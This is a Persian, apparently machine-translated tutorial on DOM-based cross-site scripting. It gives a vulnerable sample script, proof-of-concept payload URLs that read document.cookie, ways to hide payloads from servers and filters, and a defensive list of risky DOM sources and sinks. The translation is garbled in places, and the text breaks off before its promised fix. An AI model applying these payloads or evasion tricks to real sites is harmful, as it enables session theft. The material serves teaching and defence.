نکته برای خوانندگانی که با این اشیاء جاوا اسکریپت آشنا نیستند: وقتی کد جاوا اسکریپت در مرورگر اجرا می شود، به چندین شی که در DOM نشان داده شده است ( شیء سندمدل مدل شیسند). آبجکت document اصلی ترین این اشیاء است و دسترسی به اکثر خصوصیات صفحه را فراهم می کند. این شی شامل بسیاری از اشیاء تو در تو مانند مکان، URL و ارجاع دهنده است. آنها با توجه به دیدگاه مرورگر توسط مرورگر کنترل می شوند (همانطور که در زیر مشاهده می شود، این بسیار مهم است). بنابراین، document.URL و document.location حاوی URL صفحه یا به طور دقیق تر، معنای مرورگر از URL هستند. لطفاً توجه داشته باشید که این اشیاء از بدنه صفحه HTML گرفته نشده اند. شی سند حاوی یک جسم بدنه حاوی کد HTML تجزیه شده صفحه است.

یافتن یک صفحه HTML حاوی کد جاوا اسکریپت که رشته URL را تجزیه می کند (که از طریق document.URL یا document.location قابل دسترسی است) و با توجه به مقدار آن، برخی از اقدامات را در سمت سرویس گیرنده انجام می دهد، دشوار نیست. در زیر نمونه ای از این کدها آورده شده است.

با قیاس با مثال در، صفحه HTML زیر را در نظر بگیرید (با فرض اینکه محتوا http://www.vulnerable.site/welcome.html باشد):

خوش آمدی! سلام var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
به سیستم ما خوش آمدید…

با این حال، یک پرس و جو مانند این -

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

باعث XSS می شود. بیایید به دلیل آن نگاه کنیم: مرورگر قربانی با دریافت این پیوند، یک درخواست HTTP را به www.vulnerable.site ارسال می کند و صفحه HTML (ایستا!) فوق را دریافت می کند. مرورگر قربانی شروع به تجزیه این کد HTML می کند. DOM حاوی یک شی سند است که دارای یک فیلد URL است و این فیلد با مقدار URL صفحه فعلی در حین ایجاد DOM پر می شود. هنگامی که تجزیه کننده به کد جاوا اسکریپت می رسد، آن را اجرا می کند که باعث تغییر کد HTML صفحه نمایش داده شده می شود. در این حالت کد به document.URL ارجاع می دهد و از آنجایی که بخشی از این رشته در حین تجزیه در HTML جاسازی می شود که بلافاصله تجزیه می شود، کد شناسایی شده (هشدار(...)) در زمینه همان صفحه اجرا می شود.

یادداشت:

1. کدهای مخرب در صفحه HTML تعبیه نشده است (برخلاف انواع دیگر XSS).
2. این اکسپلویت به شرطی کار خواهد کرد که مرورگر کاراکترهای URL را تغییر ندهد. موزیلا به طور خودکار نویسه های '' (به ترتیب در %3C و %3E) را در اشیاء سند تودرتو رمزگذاری می کند. اگر URL مستقیماً در نوار آدرس تایپ شده باشد، این مرورگر در برابر حمله توصیف شده در این مثال آسیب پذیر نیست. با این حال، اگر حمله به کاراکترهای '' (به شکل رمزگذاری نشده اصلی آن) نیاز نداشته باشد، حمله می تواند انجام شود. مایکروسافت اینترنت اکسپلورر 6.0 '' را کد نمی کند و بنابراین بدون هیچ محدودیتی در برابر حمله توصیف شده آسیب پذیر است. با این حال، سناریوهای مختلف حمله زیادی وجود دارد که نیازی به '' ندارند، و بنابراین حتی موزیلا نیز از این حمله مصون نیست.

در مثال بالا، کد مخرب همچنان به سرور ارسال می شود (به عنوان بخشی از درخواست HTTP)، بنابراین حمله می تواند مانند هر حمله XSS دیگری شناسایی شود. اما این یک مشکل قابل حل است.

به مثال زیر توجه کنید:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

به نماد "#" در سمت راست نام فایل توجه کنید. به مرورگر می گوید که همه چیز بعد از این کاراکتر بخشی از درخواست نیست. مایکروسافت اینترنت اکسپلورر (6.0) و موزیلا قطعه بعد از کاراکتر '#' را به سرور ارسال نمی کنند، بنابراین برای سرور این درخواست معادل http://www.vulnerable.site/welcome.html خواهد بود، یعنی. کدهای مخرب حتی توسط سرور نیز متوجه نمی شوند. بنابراین، به لطف این تکنیک، مرورگر یک بار مخرب به سرور ارسال نمی کند.

با این حال، در برخی موارد، پنهان کردن محموله غیرممکن است: ورودی و بار مخرب بخشی از نام کاربری در URL مانند http://username@host/ است. در این حالت، مرورگر درخواستی را با یک هدر Authorization حاوی نام کاربری (بارگذاری مخرب) ارسال می‌کند که در نتیجه کد مخرب به سرور می‌رسد (Base64 رمزگذاری شده - از این رو IDS/IPS باید ابتدا این داده‌ها را رمزگشایی کند تا حمله را شناسایی کند). با این حال، سرور نیازی به تزریق این بار به یکی از صفحات HTML موجود ندارد، اگرچه این شرط لازم برای اجرای یک حمله XSS است.

بدیهی است، در شرایطی که ممکن است محموله کاملاً پنهان باشد، تشخیص (IPS) و پیشگیری (IPS) فایروال هابرای برنامه های وب) نمی تواند به طور کامل در برابر این حمله محافظت کند. حتی اگر بار نیاز به ارسال به سرور داشته باشد، در بسیاری از موارد می توان آن را به روش خاصی تغییر داد تا از شناسایی جلوگیری شود. به عنوان مثال، اگر برخی از پارامترها محافظت شده باشد (به عنوان مثال، پارامتر نام در مثال بالا)، یک تغییر کوچک در اسکریپت حمله می تواند نتیجه زیر را ایجاد کند:

(document.cookie)

یک سیاست امنیتی سختگیرانه تر مستلزم ارسال پارامتر نام است. در این صورت می توانید درخواست زیر را ارائه دهید:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=جو

اگر خط مشی امنیتی شما نام پارامترهای اضافی را محدود می کند (به عنوان مثال: foobar)، می توانید از گزینه زیر استفاده کنید:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=جو

لطفاً توجه داشته باشید که پارامتر نادیده گرفته شده (foobar) باید ابتدا باشد و حاوی یک بار در مقدار خود باشد.

سناریوی حمله شرح داده شده در آن حتی برای مهاجم ارجح تر است، زیرا ارزش کامل document.location در صفحه HTML نوشته شده است (کد جاوا اسکریپت نام پارامتر خاصی را جستجو نمی کند). بنابراین، یک مهاجم می تواند با ارسال موارد زیر، محموله را به طور کامل مخفی کند:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

حتی اگر محموله توسط سرور تجزیه شود، حفاظت فقط در صورتی تضمین می شود که درخواست رد شود یا پاسخ با متن خطا جایگزین شود. اشاره مجدد به و: اگر هدر Authorization به سادگی توسط سیستم امنیتی میانی حذف شود، اگر صفحه اصلی بازگردانده شود، تاثیری نخواهد داشت. به همین ترتیب، هرگونه تلاش برای پردازش داده ها در سرور با حذف یا رمزگذاری کاراکترهای غیرقانونی در برابر این حمله بی اثر خواهد بود.

در مورد document.referrer، payload از طریق هدر Referer به سرور ارسال می شود. با این حال، اگر مرورگر یا محافظت میانی کاربر این هدر را حذف کند، هیچ اثری از حمله وجود نخواهد داشت که می تواند کاملاً ناشناخته بماند.

به طور خلاصه، نتیجه می گیریم که روش های سنتی، یعنی

1. رمزگذاری داده های HTML سمت سرور
2. حذف/کدگذاری ورودی‌های ممنوعه از سمت سرور در برابر DOM XSS کار نمی‌کند.

جستجوی خودکار آسیب‌پذیری‌ها با «بمباران کردن» داده‌های مخرب (که گاهی به آن fuzzing گفته می‌شود) کارساز نخواهد بود، زیرا برنامه‌هایی که از این تکنیک استفاده می‌کنند معمولاً بر اساس اینکه داده‌های تعبیه‌شده در صفحه برگشتی وجود دارد یا نه (به‌جای اجرای کد در متن، استنتاج می‌کنند). مرورگر در سمت مشتری و نظارت بر نتایج). با این حال، اگر برنامه بتواند کد جاوا اسکریپت موجود در صفحه را به صورت ایستا تجزیه و تحلیل کند، ممکن است به علائم مشکوکی اشاره کند (به زیر مراجعه کنید). و البته، اگر ابزارهای امنیتی بتوانند کد جاوا اسکریپت را اجرا کنند (و اشیاء DOM را به درستی مقداردهی اولیه کنند) یا چنین اجرایی را شبیه سازی کنند، می توانند این حمله را شناسایی کنند.

جستجوی دستی یک آسیب‌پذیری با استفاده از مرورگر نیز کار خواهد کرد، زیرا مرورگر می‌تواند کد جاوا اسکریپت سمت کلاینت را اجرا کند. ابزارهای آسیب‌پذیری می‌توانند از این روش استفاده کنند و کد سمت مشتری را برای نظارت بر نتایج اجرای آن اجرا کنند.
حفاظت موثر

از بازنویسی، تغییر مسیر یا سایر اقدامات مشابه که از داده های سمت سرویس گیرنده استفاده می کنند، اجتناب کنید. اکثر این اقدامات را می توان با استفاده از صفحات پویا (سمت سرور) انجام داد.
2.

تجزیه و تحلیل و بهبود امنیت کد (جاوا اسکریپت) در سمت مشتری. ارجاع به اشیاء DOM که می تواند توسط کاربر (مهاجم) تحت تأثیر قرار گیرد باید به دقت بررسی شود. توجه ویژه ای باید به اشیاء زیر شود (اما نه محدود به آنها):
* document.URL
* document.URLUnecoded
* document.location (و خصوصیات آن)
* سند. ارجاع دهنده
* window.location (و خصوصیات آن)

توجه داشته باشید که ویژگی های سند و اشیاء پنجره را می توان به چندین روش ارجاع داد: به طور صریح (مثال: window.location)، به طور ضمنی (مثال: مکان)، یا با به دست آوردن یک دسته و استفاده از آن (مثال: handle_to_some_window.location).

باید توجه ویژه ای به کدهایی شود که در آن DOM به طور صریح یا بالقوه از طریق دسترسی مستقیم به HTML یا از طریق دسترسی مستقیم به DOM اصلاح می شود. مثال ها (این به هیچ وجه یک لیست جامع نیست):
* وارد کردن کد HTML صفحه:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* تغییر مستقیم DOM (از جمله رویدادهای DHTML):
o document.forms.action=… (و سایر تغییرات)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o سند.بدنه. ... (دسترسی به DOM از طریق شی بدنه)
o window.attachEvent(…)
* تغییر آدرس سند:
o document.location=… (و همچنین تخصیص مقادیر href، host و hostname به شی مکان)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* باز کردن / اصلاح شی پنجره:
o document.open(…)
o window.open(…)
o window.location.href=… (و همچنین تخصیص مقادیر میزبان و نام میزبان به شی مکان)
* اجرای مستقیم اسکریپت:
o ارزش (…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)

در ادامه با مثال بالا، برای حفاظت موثراسکریپت اصلی را می توان با کد زیر جایگزین کرد، که رشته نوشته شده در صفحه HTML را بررسی می کند تا مطمئن شود که فقط دارای کاراکترهای الفبایی عددی است.